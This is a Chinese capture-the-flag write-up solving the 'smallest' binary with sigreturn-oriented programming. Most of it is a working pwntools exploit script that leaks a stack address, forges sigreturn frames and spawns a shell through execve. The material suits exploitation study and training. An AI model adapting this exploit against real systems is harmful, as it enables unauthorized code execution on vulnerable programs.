一:程序分析
这个程序可真短,只有一个start函数小徐眉头一皱觉得并不简单orz,仔细分析之后发现
1.想执行system(‘/bin/sh’)但没有调用system函数
2.想算出system函数地址但不知道libc版本
3.想泄露libc版本但没有write,puts之类的输出函数
4.ret2syscall,用ROPgadget也没找到syscall
5.也没有合适的gadget构成rop链
学习到ROPgadge无法将单独的syscall识别成一个gadget,解决办法是安装ropper[https://github.com/sashs/Ropper]
,然后使用SROP为寄存器赋值,构造rop链
srop的原理可以学习http://www.freebuf.com/articles/network/87447.html
个人理解是,在控制权从用户层到内核层时,cpu将参数信息和返回地址保存到栈中,去检查请求信息,然后执行相关函数,最后返回到用户层,我们利用这一机制,伪造一个堆栈,并设置好参数信息,使程序返回到任意地址
二 漏洞利用
1.泄露栈地址
2.把栈劫持到泄露的栈地址处,将bss段并将shellcode写到fakestack上
3.使用SROP设置参数,使程序返回到fakestack并执行shellcode
三exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135
| #!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(os = 'linux', arch = 'amd64')
syscall_addr = 0x4000be
start_addr = 0x4000b0
set_rsi_rdi_addr = 0x4000b8
shellcode = asm(shellcraft.amd64.linux.sh())
#io = remote('172.17.0.3', 10001)
io=process('./smallest')
payload = ""
payload += p64(start_addr) #返回到start重新执行一遍sys_read,利用返回值设置rax = 1,调用sys_write
payload += p64(set_rsi_rdi_addr) #mov rsi, rsp; mov rdi, rax; syscall; retn,此时相当于执行sys_write(1, rsp, size)
payload += p64(start_addr) #泄露栈地址之后返回到start,执行下一步操作
io.send(payload)
sleep(3)
io.send(payload[8:8+1]) #利用sys_read读取一个字符,设置rax = 1
stack_addr = u64(io.recv()[8:16]) + 0x100 #从泄露的数据中抽取栈地址
log.info('stack addr = %#x' %(stack_addr))
sleep(3)
def execve():
#sys_read+sys_execve流程 #获取栈地址,在栈上取一块空间,使用SROP调用sys_read在指定地址读入"/bin/sh\x00",随后调用sys_execve起shell
#-----------------change stack-------------------
frame_read = SigreturnFrame() #设置read的SROP帧,不使用原先的read是因为可以使用SROP同时修改rsp,实现stack pivot
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rsp = stack_addr
frame_read.rip = syscall_addr
payload = ""
payload += p64(start_addr)
payload += p64(syscall_addr)
payload += str(frame_read)
io.send(payload)
sleep(3)
io.send(payload[8:8+15])
sleep(3)
#-----------------call execve-------------------
frame_execve = SigreturnFrame() #设置execve的SROP帧,注意计算/bin/sh\x00所在地址
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = stack_addr+0x108
frame_execve.rip = syscall_addr
payload = ""
payload += p64(start_addr)
payload += p64(syscall_addr)
payload += str(frame_execve)
payload += "/bin/sh\x00"
io.send(payload)
sleep(3)
io.send(payload[8:8+15])
sleep(3)
io.interactive()
execve()
|